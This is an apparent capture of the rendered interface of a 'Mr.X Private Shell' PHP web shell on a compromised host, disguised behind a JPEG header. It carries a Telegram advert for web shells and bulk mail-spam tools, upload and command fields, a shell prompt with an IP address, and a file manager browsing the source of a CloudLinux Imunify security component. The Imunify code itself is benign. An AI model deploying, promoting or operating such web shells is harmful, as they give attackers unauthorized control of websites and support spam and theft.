����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.231: ~ $
<?php
/**
 * Copyright (с) Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2025 All Rights Reserved
 *
 * Licensed under CLOUD LINUX LICENSE AGREEMENT
 * https://www.cloudlinux.com/legal/
 */

namespace CloudLinux\Imunify\App\Defender;

use CloudLinux\Imunify\App\Defender\Handler\Handler;
use CloudLinux\Imunify\App\Defender\Model\Rule;

/**
 * Class Defender.
 *
 * @since 2.1.0
 */
class Defender {
	/**
	 * Rule provider instance.
	 *
	 * @var RuleProvider
	 */
	private $ruleProvider;


	/**
	 * Incident recorder instance.
	 *
	 * @var IncidentRecorder
	 */
	private $incidentRecorder;

	/**
	 * Disabled rules manager instance.
	 *
	 * @var DisabledRulesManager|null
	 */
	private $disabledRulesManager;

	/**
	 * Rule hit tracker instance.
	 *
	 * @var RuleHitTracker
	 */
	private $hitTracker;

	/**
	 * Constructor.
	 *
	 * @param RuleProvider              $ruleProvider          Rule provider instance.
	 * @param IncidentRecorder          $incidentRecorder      Incident recorder instance.
	 * @param RuleHitTracker            $hitTracker            Rule hit tracker instance.
	 * @param DisabledRulesManager|null $disabledRulesManager  Disabled rules manager instance (optional).
	 */
	public function __construct( $ruleProvider, $incidentRecorder, $hitTracker, $disabledRulesManager = null ) {
		$this->ruleProvider         = $ruleProvider;
		$this->incidentRecorder     = $incidentRecorder;
		$this->hitTracker           = $hitTracker;
		$this->disabledRulesManager = $disabledRulesManager;
	}

	/**
	 * Processes the rules.
	 *
	 * @param Request $request Request object.
	 */
	public function processRules( $request ) {

		$rules = $this->ruleProvider->loadRules();
		if ( $rules->isEmpty() ) {
			return;
		}

		// Get ruleset version from rule provider.
		$version = $this->ruleProvider->getRulesetVersion();

		foreach ( $rules->getRules() as $rule ) {
			/*
			 * Note: We check for invalid rules and rules without a target here even though it's already done when
			 * before saving rules loaded from a file in RuleProvider::loadRules(). This is to ensure that even if
			 * an invalid rule somehow ends up in the database, it won't cause issues here.
			 */

			// Skip invalid rules.
			if ( ! $this->ruleProvider->isRuleValid( $rule ) ) {
				continue;
			}

			// Skip disabled rules.
			if ( $this->isRuleDisabled( $rule ) ) {
				continue;
			}

			// Skip rules that don't apply for the current request's method.
			if ( ! $this->isMethodAllowed( $rule, $request ) ) {
				continue;
			}

			// Skip rules that don't have a target.
			$targetInfo = $this->ruleProvider->getTargetInfo( $rule );
			if ( ! $targetInfo ) {
				continue;
			}

			// Apply the rule.
			$handler = new Handler( $rule, $request, $this->incidentRecorder, $this->hitTracker, $targetInfo, $version );
			$handler->apply();
		}
	}


	/**
	 * Check if the current request method is allowed by the rule.
	 *
	 * @param Rule    $rule    Rule object.
	 * @param Request $request Request object.
	 *
	 * @return bool True if the method is allowed, false otherwise.
	 */
	private function isMethodAllowed( $rule, $request ) {
		$ruleMethod = $rule->getMethod();

		// If no method filter is set, allow all methods.
		if ( empty( $ruleMethod ) ) {
			return true;
		}

		// Compare methods case-insensitively using the Request object.
		return $request->isMethod( $ruleMethod );
	}

	/**
	 * Check if a rule is disabled.
	 *
	 * @since 3.0.0
	 *
	 * @param Rule $rule Rule object.
	 *
	 * @return bool True if the rule is disabled, false otherwise.
	 */
	private function isRuleDisabled( $rule ) {
		if ( null === $this->disabledRulesManager ) {
			return false;
		}

		return $this->disabledRulesManager->isRuleDisabled( $rule->getId() );
	}
}

Filemanager

Name Type Size Permission Actions
Handler Folder 0755
Model Folder 0755
Probe Folder 0755
.htaccess File 0 B 0644
CachedFileProvider.php File 2.56 KB 0644
ChangelogWriter.php File 3.44 KB 0644
ConditionEvaluator.php File 12.67 KB 0644
ConditionMatcher.php File 20.04 KB 0644
Defender.php File 3.66 KB 0644
DisabledRulesManager.php File 6.88 KB 0644
IncidentRecorder.php File 11.94 KB 0644
RateLimiter.php File 3.08 KB 0644
Request.php File 20.37 KB 0644
RuleHitTracker.php File 4.92 KB 0644
RuleProvider.php File 15.63 KB 0644
ValueResolver.php File 13.76 KB 0644